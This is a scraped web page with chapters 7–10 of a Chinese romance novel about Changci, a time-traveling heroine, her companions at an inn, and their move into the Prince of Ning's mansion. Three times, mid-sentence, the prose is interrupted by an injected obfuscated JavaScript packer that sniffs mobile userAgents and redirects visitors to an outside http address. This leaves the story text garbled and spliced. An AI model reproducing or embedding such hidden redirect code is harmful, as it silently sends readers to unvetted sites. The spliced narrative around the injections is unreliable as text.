这个小蹄子!薛通跑远之后躲在暗处死死盯着长辞,恨得牙痒痒,“给我等着,老子一定让你生不如死!” 竹竿公子方才一直在大树后面瞧着,见薛通走远了这才急忙跑出来,此刻恨不得对着长辞拜上几拜。 “多谢姑娘救命之恩,徐某无以为报,若姑娘有什么条件尽管提出来,家父乃提点刑狱公事,定能为姑娘分忧解难。” “……”怎么一个两个都来拼爹,长辞有些无语,合着就自己无爹可拼。 庄慕怀只怕更无语,明明救他的人是自己!那箭矢都撞歪了,也不知道以后还能不能用了。 7. 第 7 章 “这个嘛。”长辞才不想跟这些人扯上关系,眼珠一转就开始胡说,“不是我要救你,是我家公子看到你有难,才让我前来搭救的。” “你家公子?”竹竿看了眼庄慕怀。 “哦,不是他。”长辞胡乱指了个窗户,“那边,我家公子姓张名谦,字行简。你记住了,张行简,日后他若犯了什么事被关大狱,你可一定要去求令尊大人解救你的这位救命恩人啊。” “自然,自然。”竹竿默记了两遍,还想说什么,却被冷风一吹连打了几个喷嚏,道了声谢就急忙回去换衣服去了。 待人走远,庄慕怀忍不住笑了出来,“我说,张行简好歹也是跟你拜过把子的大哥,你就这么咒人家?” “你懂什么?”长辞翻了个白眼,“他那个人虽然良善,但太认死理了,很容易得罪人的。” 两人说着往前院走去。“以防万一么,等以后我不在了,他要是真被人暗算,还能指望谁救他啊,他家里吗?” 虽然他总把自己是汴京人士挂嘴边,可一个抠门得连十两银子都算来算去的“汴京人士”,家里能有什么大出息,估计也就是个做生意的小商贩吧。 庄慕怀倒没关心这个,而是疑惑,“不在了?你要去哪里?” “回家啊。” “你家在哪儿?” “钟离国。” “行。”庄慕怀笑笑,明知道她胡说也不反驳,“那有机会我去贵府拜访拜访?” “那还真没机会。”装不坏要真去了千年前的钟离国,那不得被吓死啊! “……” 两人绕过前堂,拐了个弯准备上二楼。 “对了,你方才为什么给薛通说是看在我的面子上才放过他的?”庄慕怀心想,这可不像她的作风。 “当然是让他欠你个人情呗。” “呦,你会这么好心?”庄慕怀不信。 “好心是真的,但不是对你。”跳上最后一个台阶,长辞背着手回头看着还在楼梯上的庄慕怀,难得地正经了一回。 “帮个忙怎么样?” 庄慕怀道,“什么忙?” “你不也是汴京人么,以后帮忙照顾点张行简,他这人老实,容易遭人骗。” “你这话说的……怎么有种马上要死了在交代临终遗言的感觉?”庄慕怀嘴上调侃,心里却说不上什么滋味。 “呸呸呸。”长辞跺脚,“狗嘴里吐不出象牙来。” 好吧,看这活蹦乱跳的样子,好像也不像是快死了的症状,庄慕怀放下心,“看不出来,你对你这个结拜大哥还挺好的。” “那当然了。”长辞走到自己门前,边推门边道,“我嘛,向来面慈心软,别人对我哪怕只一丁点的好,我也要烧香拜佛地盼着人家一生顺遂无虞。” 你面慈心软?刚才不拦着你你都要杀人了!庄慕怀没明说,而是笑着问她,“那要是别人对你不好呢?你会以德报怨吗?” 长辞都准备关门了,一听这话,又探出脑袋,“报什么报!下地狱去吧!” 说着“砰”一声关上了门。 庄慕怀:“……” …… 翌日一早,潮湿了多半个月的天儿终于见晴了。暮春的太阳暖烘烘的,从窗缝里斜斜地洒进屋子。 江南多富庶之地,昇州这地方虽比不得扬州繁华,却也不乏富贵人家,好吃的好玩的看得人简直眼花缭乱。就拿福来居的早点来说,金丝燕窝粥,芙蓉莲子粥,桂花蜜枣粥……光是粥点就有十八般滋味,各种花样。 长辞先是被刺眼的阳光晃醒,裹了被子蒙着头正要再睡一觉,又被楼下的早点味道给香的彻底睡不着了。 索性一鼓作气起床洗了把脸,下楼吃早点去了。 张行简睡得早起得也早,此刻已经快用完早膳了,见长辞下楼忙招了招手,“你今日倒是没睡到日上三竿。” “是想三竿来着,结果被香醒了。”长辞睡眼惺忪地打了个哈欠,视线落在张行简面前的碗里,“你吃的这是什么?” “青菜粥配馒头。” “……”长辞揉揉眼睛,“要不要这么抠啊,听说这福来居的肉粥可是色香味俱全,来都来了,你不尝尝?” 张行简擦擦嘴巴,丝毫不在意,“食物本就是用来果腹的,吃什么都一样。” 他对吃穿用度一向不讲究,长辞也没多说什么,叫来了店里的伙计点菜。 边点菜边听张行简道:“对了,我刚听旁边那桌的几个人说,城外三十里处通往芦陵的那条官道塌陷了,今日官府才着人去修路,估计得修个十日左右。” “什么?!”那岂不是又得耽搁她回家的进度! 长辞瞬间就没有吃肉粥的欲望了。 这芦陵就在大敖山脚,想进大敖山必先抵达芦陵,而现在昇州通往芦陵的唯一一条官道竟然塌了?就这么毫无预兆地塌了?! “还有别的路吗?小道也行。”长辞有点抓狂。 不待张行简答话,就听店伙计说,“姑娘,您可别,放着好好的官道不走,走那山路干什么啊,豺狼虎豹就不说了,万一再遇上流寇,得不偿失呀您说是不是?左右不过就是再等上十天半个月么,也不急于这一时。” 这伙计也是热情会宽慰人。 “我看您也是要去归云阁的吧,您瞧,这满屋子的人不都给堵这儿了嘛,还有那些从北边才赶来的,或是已经离开昇州启程了的,这路都封了,他们折腾来折腾去到时候照样还是得打道回府,您还不如安心住着,等养好了精神呐,再租上一匹快马,只待路一通,保准能一骑绝尘第一个抵达芦陵。” 长辞将食牌放在店伙计手心,“啧啧”两声,“好有道理,先生大才啊!” 店伙计摆摆手,“过奖过奖。” 见他走远,张行简连忙提醒,“这人不过就是想让我们多住几天店而已。” 长辞眨眼,“我知道呀。可眼下确实也没有更好的法子了。” “就算一时半会儿走不了,那也不能再住福来居了,这地方开销太大,连馒头都比城门口摆摊的大伯贵几文。” “你怎么知道城门口那大伯的馒头卖多少钱?” 糟糕,说漏嘴了!张行简赶紧闭上嘴巴,低头装傻。 “再说我不是给了你五十两吗?全花完了?”长辞在袖口里掏了掏,“给,这里还有十两,就住这儿吧,这儿热闹,我喜欢。” “!”张行简睁大眼睛,“说起这个,我还没来记得问你,你哪里来的这么多银两?” “这你就别管了。” “不行,你必须说清楚这银子的来历。” 长辞舀了口粥塞进嘴里,哇好香!随口道,“你就当我是偷的。” “你怎么能去偷呢?”张行简放下筷子,语重心长,“君子爱财取之有道,偷盗之事绝不可为呀!” “呼~”吹了吹滚烫的肉粥,长辞看他,“好吧,那你把之前的五十两给我,我去还给人家。” “……”这个这个,他昨日预先从那五十两里面支了几两救济 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083239|179455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 城外的流民,还想着今日上街碰碰运气,写个字画什么的把银子赚回来。 张行简连忙改口,“那个……我的意思是说,偷盗也分有道和无道,如果一个人,他偷了坏人的不义之财来救济苦难之人,那就足以说明他这种行为本身就是有道义的,所谓道理嘛,也不完全就是一成不变……” 长辞美滋滋地享用着肉粥,还是和以前一样,对张行简的“谆谆教诲”左耳朵进,右耳朵出。 “你们几个,过来过来,东西就放这儿就行。” 这时,前堂忽然响起了清脆响亮的少年声,听着中气十足,长辞回头一看,果然是江入年。 只见他领着一群人走到他们这一桌,嫌弃地撤下了方才张行简那装馒头的小碗和咸菜,依次摆上了玉盘,玉筷,以及各种荤的素的珍馐美食,瞧着像是精心搭配过,虽各样式都是小小一口,但都极为精致。 瞧这少爷做派!长辞都有点信了他真是那什么天下第一庄的少庄主。 这排场即刻就引来了不少目光,江入年似乎习以为常,也不难为情,一屁股坐下就自顾自地吃了起来。 “看什么,你们也吃呀,别跟我客气。”江入年不紧不慢地尝尝这个,品品那个。 长辞碗里的肉粥突然就不香了…… “对了。”长辞想起件事,问江入年,“昨夜那女子真是明春坊的歌女吗,你眼看着她进去的?” 江入年“嗯嗯”地点头。 “什么歌女?”张行简又执起筷子默默开吃,白给不要是傻子。 另外两人添油加醋地给他讲了一遍昨夜在院子里发生的事。 “真是明春坊的,那姑娘也是可怜,头天才来就被薛通那变态给盯上了,吓得魂不守舍,走路都走不稳,我只能亲自把她交到那主事的手上才走。” 张行简无奈叹息,日后若薛通缓过劲儿来,这女子照样还是没好果子吃,长辞能救得了她一时,可救不了她一世。 女子的世道本就艰难,遑论还是被这种大恶之人给瞧上的。 “我跟那个主事的聊了几句,她说这姑娘叫袖娘,是个乐师之女,家里遭了灾带着弟弟来昇州投奔亲戚,最后亲戚没找着盘缠也花光了,弟弟还病着了,无法只能跟明春坊签了身契,主事的见她可怜,便同意她只唱曲儿不陪客,谁知道呀,就这么不巧,恰好那日就撞上了薛通。” “我要是她,当时就翻墙逃了。” 江入年看了长辞一眼,“你以为谁都跟你这种飞贼似的,有逃跑的本领啊!” “小孩子没大没小。”长辞用筷子敲他脑袋。 好男不跟女斗,江入年咽下了这口气,“再说她往哪跑,卖身契还在明春坊,我问了那主事的,那儿的赎身费可不便宜。” 长辞一听就知道江入年这好孩子指定是已经试过帮袖娘赎身了,只不过估计失败了,“我猜也不是赎身费的问题,是现在明春坊压根就不敢放人吧。” “你怎么知道?” “这还用说,薛通看中的人,那明春坊又怎么敢放走。” 说罢,三个人齐齐叹了一声。 “大清早的,叹什么气啊?”几人回头,见庄慕怀不紧不慢地走了过来。 他今日穿得倒矜贵,青白色的缎面长衫,上面还绣着淡色的水竹,腰间束着白玉腰带,衬得身形如劲松一般,挺拔有力又不失清隽,引得不少姑娘红着脸偷瞧。 这是要当花魁怎么着,穿这么好看!长辞在心里翻了个白眼,真骚包,不愧是青楼的常客。 8. 第 8 章 长辞托着下巴问江入年,“我怎么瞧着,你家下人穿的比你这个主子还得体啊?” “侍卫可不是下人。”江入年嘴里正塞着汤包,咕咕哝哝道,“他们护的可是我的命啊,我能不对人家好点吗?” 明知他俩是假的,可这话说的还真是让人没法反驳,长辞撇撇嘴,看了眼一旁入座的庄慕怀。 “我看话本里都说什么大恶人贯爱穿黑色,呐,装不坏,你怎么就偏爱穿清新淡雅的衣衫,难道是越没有什么就越是爱刻意表现什么?” 庄慕怀也要了个肉粥,正小口小口地喝,闻言低笑一声,“照这么说,你整日打扮得如此乖巧惹人爱,也是这个理吗?” 这话其实对刚认识不久的女子来说,稍稍有那么点逾越了,他原意本就是要故意惹她脸红,谁知那人不仅不脸红,反倒眨巴着眼睛凑近自己。 “打扮?我明明就是长得十分惹人爱,要不你再仔细瞧瞧?”说着又往他眼前凑了几分。 她眼睛如杏,眸中带光,眉眼弯弯地笑着看他。 突如其来的亲近让庄慕怀有点慌神,一不小心咽下一口热粥,烫了嘴不说,还呛得“咳咳”直咳嗽。 “离、咳咳、离我远点。” “不离,你不是说我惹人爱吗,怎么不敢看啊。” “咳、咳咳咳。” 长辞心满意足地坐回原位,心想叫你占我便宜,活该! 这女人还真是……庄慕怀喝了口温水顺了顺才终于不咳了,忍不住看她,“没睡好么,一大早就开始呛人。” “睡倒是睡好了,就是有点烦。” “你这种人还能有烦心事?” “我哪种人?”长辞捏着根筷子,大有一副你敢说什么难听的我就戳死你的架势。 “当然是惹人爱的那种人了。”庄慕怀说罢坐的离她远了点,“说吧,什么烦心事?” 张行简吃的正香,闻言头也没抬,替长辞说道:“前阵子一直下雨,把城外一段路给冲塌了,修好得十天半个月,所以我们暂时走不了了。” 原来如此。 “就这么着急想走?”庄慕怀抬眼看长辞。 “废话,住客栈不要银子啊。” “就为这事儿?”庄慕怀笑道:“好说啊,我倒是有个不要钱的好住处,免费吃喝,还比福来居舒服。” “什么地方?”长辞狐疑地看他一眼。 “宁王府。” “!”这是普通百姓能随便进去吃喝的地方吗?! 长辞以为他又拿自己寻开心,没好气道:“你带我进去啊?” “行啊。” 庄慕怀答得颇为爽快,倒把长辞给搞懵了,一时分不清他是认真的还是开玩笑。 这宁王虽是先皇柴世宗的长子,却并非是皇后亲生,母家也没什么势力,于是世宗早早地就给他封了地,打发来江南一带的昇州。 不过据说宁王自小也没什么野心,闲云野鹤一般,所以远离汴京是非之地对他来说也没什么不好。 原本今上即位后,宁王这位置就有些尴尬了,毕竟他作为世宗的长子,从某种程度上来说和天子是有些对立的。不过今上即位以来,一直对世宗时期封的那些个王侯礼遇有加,不仅没有削弱,反而十分厚待,再加上昇州天高皇帝远,不似汴京得千般谨慎万般小心。 故而虽经历了改朝换代,却也丝毫没有损失,宁王照样还是过着和以前一样的富贵日子。 “宁王十五岁来到封地,至今已有十年有余,期间一直鲜少回都,不知道庄公子是如何与他相识的?” 张行简本着“吃了这顿没下顿”的原则,终于把自己给吃撑了,这才放下筷子加入了两人的对话。 “就是,你一个侍卫怎么会认识宁王?”长辞直白道。 张行简倒不是要怀疑他,而是真的好奇,“听闻宁王是个好静的性子,很少结交朋友,平日里从不出去应酬,即便出去也是和好友出城观山赏月,吹箫奏乐,外界都说他是爱山川爱音律胜过爱美人。” “这么说来,他府上都没有妻妾吗?” “有。”张行简点头,“有一位王妃,不过前几年亡故了。此外还有两名侧妃,几个侍妾。” “那算哪门子的不爱美人?!”长辞微微张着嘴巴,算上已故王妃少说也有六个女人了吧。 庄慕怀接过话茬,“不是说女人多就代表爱美人,这历朝历代尚有为君者后宫三千,不照样还能留得个不贪恋美色的名声。” “那依你的意思,唯有你这般对青楼女子如数家珍的做派,才算得上是真正的爱美人呗?” 这女人还真是,见缝就插针,张嘴就噎人,“我都说了,我那日是去明春坊探查消息,不是喝花酒。” 长辞脸上一副“你就编吧”的神情,庄慕怀无奈,“还是说宁王府吧,你到底要不要去?” “你还没说你怎么认识他的呢?” “几年前,某曾有幸救过宁王一命。” 庄慕怀说完才反应上来,跟她解释这么多干什么,又不欠她的,爱去不去,“我这就准备登门拜访了,你要是想省银子,就一起跟来。” 去还是不去呢?长辞拖着腮帮子纠结。 原本她把宴贴还给庄慕怀,就是不想再跟他有任何瓜葛。这人一看就不简单,别自己傻乎乎地跟他搅和到一起,再裹进什么麻烦的漩涡里,到时候想跑都跑不掉了。 “我看还是算……” “听说宁王也收到了宴贴,他那个性子肯定懒得去,哥,你能不能帮我要来啊?我还没宴贴呢。” 江入年突然想起此事,顿时眼前一亮,拽着庄慕怀就往外走,心想可不能让长辞这家伙捷足先登了。 宴贴? “等等!” 庄慕怀顿足,听她道:“容我想想。” 长辞咬着指甲盖眼神示意张行简,到底去不去啊? 张行简挪到她跟前,用只有两个人才能听到的音量说,“当然要去!住客栈也太贵了,一天还行,十天可就真要人命了,咱花钱得花到刀刃上,像福来居这种奢靡的地方,还是少来为妙。” 这会儿知道刀刃了,那你先前还不是眼睛都不眨一下,十两银子说给流民就给了。 不过想归想,长辞到底是没戳穿他,张行简这人平时看着抠抠搜搜的,关键时候吧还真有点那种圣贤之德。尽管长辞对这种做法嗤之以鼻,但毕竟人各有志,她也不好随意评价别人。 “去去去,我们去!”长辞想通之后忙追上庄慕怀,笑得跟桃花似的。 几人收拾好包袱上了大街。 江入年兴高采烈地走在最前头,东瞧瞧西看看,不一会儿就满满当当买了一马车的东西,雇了个车夫给他拉着。 长辞趁他不在,悄咩咩地问庄慕怀,“哎,宁王那儿真有宴贴啊?” “这是自然。归云阁阁主与宁王相识,宴贴自然也给宁王府送了一份。” 看他神情不似作假,长辞不死心又问,“你确定没多送几份?” “这我哪能知道……” 好吧。 日头上来了有些晒人,庄慕怀见其余二人进了家铺子给宁王挑贽礼,估摸着还得一阵才出来,便停在街边一棵苦楝树下等着。 偏巧不巧,这地方正是昨日长辞刚入昇州时两人相逢的那个巷口。 庄慕怀性子懒散,很少会对别人的身世提起兴趣,可他也不知怎么了,一看见这巷口就想起了长辞昨日晕倒之事。 心说这姑娘也真是奇了,性格怪,打架路数也怪,就连晕倒都跟别人不一样,说晕就晕,说醒又醒了。 庄慕怀视线落在不远处正跟大婶聊得火热的长辞身上,光影穿过树叶缝隙斑驳地落在她脸上,星星点点,越发显得其灵动。 这女人仿佛会变身似的,在大婶面前就宛如乖巧的闺阁姑娘,在薛通面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083240|179455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前就喊打喊杀,比豺狼虎豹还可怕,也不知那一身功夫是跟谁学的,简直炉火纯青,他要不是手上有这么个制作巧妙的机关玉笛,跟她过招时还真是占不到一丝便宜。 “喂,想什么呢?” 长辞不知什么时候跑了过来,在庄慕怀背后一拍,又轻盈地跳到他面前,许是方才跟那大婶聊开心了,还保持着那满面的笑容。 “在想你……” “?!” “在想你昨日好端端的,怎么突然就晕倒了?” “哦,没什么。”长辞脸上的笑容淡了些。 庄慕怀不依不饶,用胳膊肘戳戳她,“说说呗,你说了我就帮你向宁王讨宴贴。” “当真?” “骗人是小狗。”庄慕怀说的情真意切。 行吧,反正也不是什么秘密。 “几年前遭人暗算,被人在膳食里下了毒,后来毒没解清,就留下这么个病根子,郎中说这属于嗜睡症的一种,想要根治很难,不过这病两三个月才发作一次,也没什么大碍。” 这时忽然起了风,苦楝树的紫色花瓣被吹落各处,有一朵打在长辞鼻头。 她一抖落,那花儿又掉在庄慕怀鞋尖上了。光影在她脸上一晃又一晃,庄慕怀盯着鞋尖胸口有些发闷,想不通好好一个姑娘家,经历的这都是什么事。 “你以前……”算了,还是别问了,说到底这事儿跟自己也没关系。 “哎,别动。”长辞突然一把拽住庄慕怀胳膊,垫着脚尖,凑近那张笔挺深邃的脸庞,用手戳了戳他眼尾那个小黑点。 “哦,我当是什么呢!原来是颗痣呀,我还以为是什么小飞虫要往你眼睛里飞。” 她指尖冰冰凉凉,戳得庄慕怀心里酥酥麻麻的,连说话声都柔了几分,“嗯,这痣自生下来就有了。” 此刻,江入年正抱着几个红绸包好的盒子往出走。 一抬头,一眼就瞧见了苦楝树下那两道熟悉的身影,从他这个角度看过去,叶长辞正垫着脚摸他表哥的脸,表哥则是一脸的春心荡漾。 顿时脚下一滑,差点没从台阶上栽下去,江入年心道,这两人进展也太快了吧! 虽说他们片刻就分开了,可自己这会儿过去终归还是不大合适吧?正想着,就见张行简已经闷着头走到了树下。 这个人真是的,也太没眼力劲了! “长辞,你昨日不是说州衙门口有人伸冤,我怎么没看见?”据说都闹了好几日了,也没见人出来管管,张行简不解,不是说杀人案吗,难道这么快就了结了? 江入年把东西往马车上一扔,走了过来,“对哦,昨日傍晚都还在敲鸣冤鼓呢,今天怎么这么安静?” 几人边走边说这桩事。 说到一半,长辞突然一拍大腿,“对了!我方才撞见昨日一起看热闹的大婶了,你们知不知道她刚给我说什么?” “说什么?”难不成大婶知道什么隐情? “说城东的屠夫张在外面偷人了,偷了好几次呢,昨夜终于被他婆娘当场给逮住了!哈哈哈,刺不刺激?” “……”其余三人。 “问你说了什么跟那鸣冤鼓有关的!” “哦,这事儿她也说了。”长辞背着手走在最前头,“就说昨日还在州衙门口敲鸣冤鼓那妇人,不知怎么今日突然就不告了,撤了状子后人就消失不见了,奇怪吧?” “确实挺奇怪的。” 江入年跟张行简两人你一言我一语地讨论起来,庄慕怀却兴致缺缺,“这有什么好奇怪的,撤状子无非就是两种情况,一是事情圆满解决了,二是被仇家给威胁了。” “被威胁?这事儿近来闹得满城风雨,到底杀没杀人,官府总得给个说法吧。”江入年很是不满。 长辞哈哈大笑,拍他肩膀,“那你放心,官府最擅长的事就是给人说法了,估计过不了几日就会张贴告示。” “……” 9. 第 9 章 几人说着说着,就走到了一处巍峨气派的府邸门口。抬头一看,端正威严的匾额上写着“宁王府”三个大字。 此刻,朱红色的大门一侧正站着一名女子。 那女子衣着朴素,背上还背着个药筐,只见她拍打了几下衣衫上的灰尘,就准备从侧门往府里走。 这时门里突然有脚步声传来,紧接着一只纤细的胳膊挡住她的去路,声音娇滴滴的。 “瞧姐姐这副打扮,不知道的还以为是哪里跑出来的叫花子呢,弄得脏兮兮的,简直有损我们王府的脸面。我看您啊,还是合适走后门。” 长辞垫着脚瞧了半晌,也没能看清门内那人的长相,只看见她手腕上挂着个粗壮的大金镯子。 背药筐的女子似乎并不想和门里的人发生争执,闻言也没搭腔,脸色漠然,扭头就走。 她这一转身,可就跟长辞一行人打了个照面。待看清她的模样,张行简和长辞齐刷刷倒吸一口凉气! 皆张着嘴惊呼:“明殷!” 那女子顿住,先是疑惑地看了他们一眼,又微微颔首,礼貌道:“二位许是认错人了,我不叫明殷。” 说完就朝宁王府后门走了。 长辞无比抓狂,明殷怎么会在这里?不可能,这怎么可能?难道她也跟自己一样穿梭时空来到了千年之后的大宋朝? 这到底怎么一回事? 等等!不对。“你怎么知道那个人叫明殷?!”长辞惊愕地看向张行简,他怎么可能认识千年前的人?! 张行简从怀里掏出那本快被翻烂了的《列国策》,小心翼翼地翻到后面某一页。那页纸张一个字都没有,惟余一个女子的画像。 “你看,这书中之人是不是跟方才那女子一模一样。”张行简激动得手都抖了,“千年前钟离国的明殷公主,竟和我大宋女子的长相如出一辙,妙啊,这世界真是太奇妙了!” 原来只是在书中见过明殷的画像,长辞拍拍胸口,吓死她了,还以为连张行简也是…… “等等,那你又是怎么知晓钟离国公主长这个样子的?”张行简不禁疑惑。 在他看来,长辞惯不爱看书,更别说是史书了,且还是一千多年前钟离国这种没什么名气的小国历史,以她的文化程度来说,应该不足以知晓明殷公主才对。 “我、我怎么会不知道。”长辞眼珠乱飘,开始胡言乱语。 “我既要去传说中的钟离国王陵寻宝,又怎么能不好好了解这段传奇的历史呢,不瞒你说,你马车上那摞书,我已全都看过了。” “真的吗?没想到你竟如此勤奋。” 张行简甚感欣慰,边抚平卷起的书角边说,“爱看书是件好事,不过也要爱惜才对,瞧,这本书都被你看的都掉渣了。” 关我屁事。 “这是谁啊,让我也看看呗?”江入年圆圆的脑袋凑过来一瞧,随即惊呼,“哇!真的好像啊!方才那女子该不会就是明殷公主的转世吧?” “转世?” “对啊,话本上说,如果一个人怨念极深地死去,就会以前世的模样投胎转世。”江入年好奇,“那这位明殷公主是怎么死的?” “据史书记载,是自然终老而亡。”张行简虽知道这话本就是瞎扯,但还是回答了他的问题。 好吧,江入年失落。 不对吧?长辞皱皱眉头,据她所知那位公主明明国破之时与众将士一起殉国了,才二十来岁,怎么可能自然终老。 想罢不禁暗笑,看来张行简看的史书也不比话本子权威多少。 就在他们说话的空档,庄慕怀已经先一步走上台阶,让门口的侍卫进去府里通传了。 长辞三步并做三步跳到他跟前,跟他打趣,“你这个人怎么对什么事都兴致缺缺啊?人生若日日如此,那还不无聊死了。” “谁说的?”庄慕怀忽然贴脸靠近,“我对你就挺感兴趣的。敢问姑娘何许人也?家住何处?芳龄几许,可有婚配啊?” “……”算了,当我没说。 长辞乖乖闭上嘴巴。 一转身,又见张行简正跟一个站岗的大个子侍卫说话,“这位小哥,请问方才往后门方向走了的那女子是?” “背药筐那个吗?哦,那是王府侧妃。”侍卫答道。 “侧妃?!”长辞倏地提高音量,给那个侍卫吓了一大跳。“那方才侧妃叫人挡在门外,你们就干看着啊?” “哎呦,您这就冤枉小人了,您是不知道,那里头挡着的那位——也是主子。” “再是主子,也不能不让人进门吧。”江入年不解。 大个子侍卫往四周瞧了一圈,见没什么人来,这才看着长辞回话。 “姑娘一看就没成过婚吧。普通人家的妻和妾都能不睦,就更别说勋贵人家了,这大宅子里头多少事啊,谁是谁非一时也说不清,您说我们当下人的哪敢去触那个霉头,还不是得装聋作哑,两头都不得罪,才能安安稳稳地当好差啊。” 长辞一听,还真没说错,挤眉弄眼地用胳膊一戳他,“你倒是很会做人嘛。” “嘿嘿,姑娘过奖。” 这俩人倒也投机,一个侃侃而谈,一个时不时捧两句场,没一会儿就熟络了起来,那侍卫还给长辞讲了许多跟宁王府姬妾们有关的事。 庄慕怀这辈子没见过这么自来熟的丫头,不禁啧啧叹道,这不费吹灰之力便能取信于人的本事,简直堪称大才啊! 正想着,就见王府的老管家快步走来,恭恭敬敬地朝他行了个礼。 “庄公子久等。” “崔老。” 两人寒暄过后,那崔管家乐呵呵道:“王爷得知您近日要来昇州,一早就命老奴收拾好了一进院子,吃穿用度都打点好了,就盼着您来呢。” “几位这边请。”说着就带几人穿过前厅和中堂,往住处的方向走去。 “庄大人和夫人近来都好吧,王爷前阵子还念叨。”崔管家说话慢悠悠的,走路也慢悠悠的,瞧着庄慕怀的眼神甚是慈爱。 “都好。”庄慕怀笑笑,“您老身体可还好?” “劳烦公子挂念了,老奴这身子骨硬朗着呢!” 长辞走在最后听他们闲聊。嘴角一撇,庄慕怀这个死骗子,什么救命之恩能让人家府里老管家对他个破侍卫如此热情?!看这样子,分明是跟宁王相识多年了。 真是越发觉得装不坏这个人不简单了! “王爷今日不在府中吗?” 崔管家带他们走到院门口,笑着回话,“昨日出城,说是去寻什么精通古埙音律的梅矶先生了,约莫两三日就回来。王爷走前特意嘱咐老奴,若公子到了,安心在府里住下便是。” “这人还真是一如既往地痴迷音律。”庄慕怀对这些东西不感兴趣,也没多问什么,又跟崔管家说了会儿话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16083241|179455||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,就放他去忙别的了。 宁王喜静,这府邸便也是处处假山流水,竹林小径,青草池塘,让人仿佛置身于山林之间,幽然而又静谧。 不过长辞也就静谧了几息的功夫,就被屋里的江入年吵得皱了眉头。 那人百灵鸟似的,一会儿扑棱到东进的屋子,一会儿又扑棱到西进的屋子,叽叽喳喳叫唤个没完。 “宁王真是抠,就用这茶叶招待客人啊,来人,给我换清明前刚采的新茶!” “还有这个榻,也太硬了,再加几条被子。” “茶盏也不行,用我自己带来的那套,对,就在那个箱子里。” “还有这张桌子……” 几个婢女仆役被他使唤来使唤去,闹得整个院子都鸡飞狗跳。张行简是坐也挡地儿,站也挡地儿,索性拿着书跑到池塘边的亭子去了。 长辞也被他吵得脑瓜子嗡嗡嗡的,眼不见为净,脚尖一点,上了屋顶晒太阳。 刚一坐下,就见旁边来了个人。 长辞眯着眼,揉揉耳朵看他,“你家这位少爷,可真够折腾的。” “是吗?你不是挺爱看热闹么?”庄慕怀十分自然地挨着她坐下,笑着看向檐下。 长辞跟着他的眼神往下瞄了一眼,“这是热闹吗?这是闹腾吧!哎,你跟他这么久,竟然不嫌他烦?” “烦什么?” 庄慕怀伸了个懒腰躺下,头枕在胳膊上,懒洋洋地闭上眼睛。“你不觉得身边一直有个人叽叽喳喳地叫唤,会让人有一种……怎么说,活着的感觉。那种感觉你懂吗?” 沉思半晌,长辞摇头,“完全不懂。” 庄慕怀笑笑没说话。 须臾,长辞偏头去看身旁正闭目养神那人,呼吸绵长,许是睡着了。他鬓前一绺黑发随风而起,轻轻掠过那深邃的眼眶和高挺的鼻峰。 暮春时节楝花开遍各处,二十四番花信风走到尾,便只剩楝花风了。 不知怎的,她脑海中倏地就冒出来一句“一信楝花风,一年春事空。” 也不知道这人心里藏着多少心事,才会养成这样的假面性子,面上云淡风轻好像什么都不在乎,实际上心里不知道有多少城府。 不过话说回来,别的不论,这张脸是真的好看呐,也难怪自己当初会选择偷他的宴贴。 “喂,口水流出来了。”庄慕怀忽然睁开眼,一脸痞样地看向斜上方那人。 长辞方才还以为他睡着了,这才大胆地打量着。谁知他竟是装的! 突如其来的声音吓得她肩膀一抖,下意识就去擦嘴角,手都挨上下巴了才回过神来是怎么回事,随即一瞪庄慕怀,一拳打在他肩头。 难得地有些羞愤。 庄慕怀瞧出她脸红,更有了逗她的兴致,“你该不会是想趁我睡着了偷亲我吧?” “我呸!” “那你脸红什么?” “当然是、是晒太阳晒的!”长辞转过身背对着他,“这太阳怎么回事,还没入夏就这么烈,我是遭不住了,你自己晒吧,我要去府里四处转转。” 见她嘀嘀咕咕自说自话,庄慕怀想笑又憋着没笑,对着那个已经跳下房梁,爬到别的院墙上的身影喊道: “别走啊,给你亲还不成吗?” 话音刚落,就听“噗通”一声,那人脚下一滑,栽进了隔壁院子的花丛里。 庄慕怀:“……” 10. 第 10 章 该死的装不坏!长辞咬咬牙,站起身啪啪身上的灰尘,算了,不跟这家伙计较,怪就怪自己轻功还没有炉火纯青。 诶?什么东西?!她从头顶摘下来一片长长的、黑乎乎的叶子,放鼻尖一闻,滂臭滂臭,真是好恶心! 正要扔掉,就听身后传来急促的脚步声,伴随着一个女子焦急的声音。 “姑娘,姑娘你没事吧?” 长辞回头一看,巧了,可不就是方才在王府门口碰见的那个长相颇像明殷的人——宁王府侧妃。 侧妃接过她手里黑乎乎的臭叶子放在一旁的药材筐里,边替她摘掉头顶的树枝枯叶,边欠声道:“这院墙上满是绿苔,刚下过雨滑的很,人在上面很难站稳当,你没受伤吧?要不要进屋我帮你瞧瞧。” 